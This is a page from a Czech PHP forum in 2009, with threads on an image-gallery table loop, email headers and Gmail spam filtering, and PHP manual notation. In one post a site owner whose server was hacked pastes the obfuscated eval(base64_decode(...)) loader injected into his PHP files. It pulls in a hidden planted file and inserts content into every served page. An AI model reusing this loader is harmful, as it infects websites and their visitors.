Registrace nového uživatele     Návod     Kluby     Archív  Lopuchu     Lopuch.cz  

Modrá je dobrá
zelená je lepší

Lopuch.cz

Jméno:
Heslo:
Podpora LCD:
 
Klub PHP [ŽP: neomezená] (kategorie Programování) moderuje makovec.
Archiv
Diskuse o vybornem skriptovacim jazyku php. Dulezite odkazy, pred polozenim dotazu zkuste hledat odpoved zde:
  1. www.php.net - domovská stránka PHP
  2. www.kosek.cz - spousta tutorialu pro PHP v češtině
  Nastavení klubu     Nastavení práv     Homepage     Anketa     Přítomní     Oblíbené     Lopuch     Kategorie  
autor: 
text: 
vyplnit a 
Help
 Titulek, text příspěvku  
Opište pozpátku následující text bez prostředního znaku: vdezheo
[ 1845 ] <Novější  <<<Nejnovější  Nejstarší>>>  Starší>  
puschpull puschpull být nad věcí, pohoda a klid ... - AV-Com (Homepage) 3.4.2009 09:36 - Oblíbené kluby (14:27) 2497
themajkl: díky za nakopnutítakto:

$id = $GLOBALS["HTTP_GET_VARS"]["id"];
$path = empty($HTTP_SERVER_VARS["PATH_INFO"]) ? $HTTP_SERVER_VARS["PHP_SELF"] : $HTTP_SERVER_VARS["PATH_INFO"];
@$dirhandle = opendir( "$directory/thumbs" );
$pic_count = 0;
while( $file = readdir( $dirhandle ) )
{
if (eregi("(gif|jpg|jpeg)$",$file))
{
$pic_list[$pic_count++] = $file;
}
}

$output = '<table border=3 bgcolor="#AFEEEE">';

if ($pend>$pic_count) $pend=$pic_count;

$output .= '<tr>';

for ($i=0;$i<$pic_count;$i++) {

for ($j=0;$j<=2;$j++) {
$output .= '<td>';
$output .= '<a href="'.$directory.'/large/'.$pic_list[$i].'" class="highslide" onclick="return hs.expand(this)"><img src="./'.$directory.'/thumbs/'.$pic_list[$i].'" title="Click to enlarge: '.$pic_list[$i].'" /></a>'."\n";
$i++;
}
$output .= '</td>';

$output .= '</tr>';

}
$output .= '</table>';

return $output;



už to dělá lépe
themajkl themajkl All those moments will be lost in time - like tears in rain. 3.4.2009 09:30  2496
puschpull [2494]: Nechce se mi nad tím moc přemýšlet, ale dělá to přesně to, co je tam napsané :-) Máš blbě ty cykly, ve vnitřním se ti nemění proměnná i. Přidej tam i++.
puschpull puschpull být nad věcí, pohoda a klid ... - AV-Com (Homepage) 3.4.2009 09:20 - Oblíbené kluby (14:27) 2495
jedná se o použití v takovémto webu:
D@weP.net - Květy - Kouzlo květů
puschpull puschpull být nad věcí, pohoda a klid ... - AV-Com (Homepage) 3.4.2009 09:19 - Oblíbené kluby (14:27) 2494
potřeboval bych poraditmám script, který mi ale nedělá přesně to co bych chtěl:

@$dirhandle = opendir( "$directory/thumbs" );
$pic_count = 0;
while( $file = readdir( $dirhandle ) )
{
if (eregi("(gif|jpg|jpeg)$",$file))
{
$pic_list[$pic_count++] = $file;
}
}

$output = '<table border=3 bgcolor="#AFEEEE">';

if ($pend>$pic_count) $pend=$pic_count;

$output .= '<tr>';

for ($i=0;$i<$pic_count;$i++) {

for ($j=0;$j<=2;$j++) {
$output .= '<td>';
$output .= '<a href="'.$directory.'/large/'.$pic_list[$i].'" class="highslide" onclick="return hs.expand(this)"><img src="./'.$directory.'/thumbs/'.$pic_list[$i].'" title="Click to enlarge: '.$pic_list[$i].'" /></a>'."\n";

}
$output .= '</td>';

$output .= '</tr>';

}
$output .= '</table>';

return $output;


script má načítat obrázky z adresáře a zobrazit je v tabulce kde například v tomto případě by byl počet obrázků v jednom řádku 3
Nevím kolik obrázků je v adresáři, liší se to případ od případu

zatím se v tom plácám tak, že se bu buď objeví tabulka se třemi řádky a v každém řádku je plný počet obrázků z adresáře, nebo mám tabulku se třemi stejnými obrázky v jednom řádku x-krát pod sebou.

Netušíte kde dělám chybu ?

když bych to řešil bez tabulky (a to funguje) vykreslí se mi všechny obrázky tak jak jdou za sebou ale nijak nejsou v prostoru stránky uspořádané

Děkuji
etdirloth EtDirloth 22.2.2009 14:20  2493
mach [2492]: dobra poznamka, ale neriesi to moj problem ;)
EtDirloth [2491]: zda sa vsak, ze moj problem celkom dobre vyriesilo vynechanie headeru sender
mach 22.2.2009 14:10  2492
Pro mail by se snad mely pouzivat jen ISO kodovani…
etdirloth EtDirloth 22.2.2009 13:30  2491
neviete nahodou niekto, ako mam nastavit headre odchadzajuceho e-mailu tak, aby mi ho gmailovy spam-filter neoznacoval ako spam? momentalne nastavujem tieto headre:

Content-Type: text/html; charset='windows-1250'
From: "..." <...@gmail.com>
Sender: ...@gmail.com
Reply-To: ...@gmail.com
Content-Transfer-Encoding: 8BIT

...a samozrejme to, subject, pripadne bcc
puschpull puschpull být nad věcí, pohoda a klid ... - AV-Com (Homepage) 13.2.2009 09:28 - Oblíbené kluby (14:27) 2490
"<?php /**/eval(base64_decode('" - Vyhledat Googlem
puschpull puschpull být nad věcí, pohoda a klid ... - AV-Com (Homepage) 13.2.2009 09:18 - Oblíbené kluby (14:27) 2489
takto:
SNAG-0111.png
ten web vypadal
tvx tvx Myslet si, že svět je JEN takový, jak - ho v daný čas můžeme pochopit je hloupé. 13.2.2009 09:18  2488
http://www.lopuch.cz/klub.php?klub=web
puschpull puschpull být nad věcí, pohoda a klid ... - AV-Com (Homepage) 13.2.2009 09:14 - Oblíbené kluby (14:27) 2487
někdo (něco) mě patrně hacknulo stránkyasi v polovině ze zhruba 100 php souborů se mi hned na začátku souboru objevilo toto:

<?php /**/eval(base64_decode
('aWYoZnVuY3Rpb25fZXhpc3RzKCdvYl9zdGFydCcpJiYhaXNzZXQoJEdMT0JBTFNbJ3No
X25vJ10pKXskR0xPQkFMU1snc2hfbm8nXT0xO2lmKGZpbGVfZXhpc3RzKCcvaHR0cG
QvaHRtbC9wdXNjaHB1bGxvcmcvd3d3L2dyb29uL21vZHVsZXMvZmNrZWRpdG9yL2Zj
a2VkaXRvci9lZGl0b3IvZmlsZW1hbmFnZXIvYnJvd3Nlci9kZWZhdWx0L2ltYWdlcy
9pY29ucy8zMi9jb3BwZXIucGhwJykpe2luY2x1ZGVfb25jZSgnL2h0dHBkL2h0bWwv
cHVzY2hwdWxsb3JnL3d3dy9ncm9vbi9tb2R1bGVzL2Zja2VkaXRvci9mY2tlZGl0b3
IvZWRpdG9yL2ZpbGVtYW5hZ2VyL2Jyb3dzZXIvZGVmYXVsdC9pbWFnZXMvaWNvbnMv
MzIvY29wcGVyLnBocCcpO2lmKGZ1bmN0aW9uX2V4aXN0cygnZ21sJykmJiFmdW5jdG
lvbl9leGlzdHMoJ2Rnb2JoJykpe2lmKCFmdW5jdGlvbl9leGlzdHMoJ2d6ZGVjb2Rl
Jykpe2Z1bmN0aW9uIGd6ZGVjb2RlKCRkKXskZj1vcmQoc3Vic3RyKCRkLDMsMSkpOy
RoPTEwOyRlPTA7aWYoJGYmNCl7JGU9dW5wYWNrKCd2JyxzdWJzdHIoJGQsMTAsMikp
OyRlPSRlWzFdOyRoKz0yKyRlO31pZigkZiY4KXskaD1zdHJwb3MoJGQsY2hyKDApLC
RoKSsxO31pZigkZiYxNil7JGg9c3RycG9zKCRkLGNocigwKSwkaCkrMTt9aWYoJGYm
Mil7JGgrPTI7fSR1PWd6aW5mbGF0ZShzdWJzdHIoJGQsJGgpKTtpZigkdT09PUZBTF
NFKXskdT0kZDt9cmV0dXJuICR1O319ZnVuY3Rpb24gZGdvYmgoJGIpe0hlYWRlcign
Q29udGVudC1FbmNvZGluZzogbm9uZScpOyRjPWd6ZGVjb2RlKCRiKTtpZihwcmVnX2
1hdGNoKCcvXDxib2R5L3NpJywkYykpe3JldHVybiBwcmVnX3JlcGxhY2UoJy8oXDxi
b2R5W15cPl0qXD4pL3NpJywnJDEnLmdtbCgpLCRjKTt9ZWxzZXtyZXR1cm4gZ21sKC
kuJGM7fX1vYl9zdGFydCgnZGdvYmgnKTt9fX0=')); ?>

ošetřil jsem to tak, že jsem tyto soubory (jednak stáhnul k sobě do "karantény") a přepsal svými záložními

Ale samozřejmě se to může opakovat

Tušíte někde, o co se jedná ?
etdirloth EtDirloth 8.2.2009 19:00  2486
tvx [2484]: zrejme ide o rejuznutie sposobu, akym sa odkazujes na deklaraciu metody pri jej definicii v c++ prave v konvencii pouzitej v PHP dokumentacii (tiez to tak robim v doxygenovych komentaroch) - pricom samotny priklad uz samozrejme musi obsahovat volanie z instancie (cez sipku), kedze nejde o staticku metodu; inymi slovami: nehladaj za tym ziaden skryty vyznam

a to rozdielne pouzitie operatorov -> a :: v roznych castiach PHP dokumentacie bude skor sposobene tym, ze pre odlisenie methods a properties si zvolili rozne konvencie
huh huh 8.2.2009 18:59  2485
tvx [2482]: Nehledej v tom vědu. Prostě v manuálu PHP používaj zápis třída::metoda u metod. Volat ji samozřejmě musíš instance->metoda.
tvx tvx Myslet si, že svět je JEN takový, jak - ho v daný čas můžeme pochopit je hloupé. 8.2.2009 18:38  2484
pepakjako ze ty s -> nemusej vzdy existovat?
pepak pepak - Pepak.net 8.2.2009 18:15  2483
V deklaraci to je s :: asi proto, aby to symbolizovalo, že ta metoda existuje ve všech instancích třídy.

V příkladech je to s -> proto, že tam už to je implementováno na konkrétní instanci.

[ 1845 ] <Novější  <<<Nejnovější  Nejstarší>>>  Starší>  

(c) 2001-2011 Lopuch.cz   
Kontakt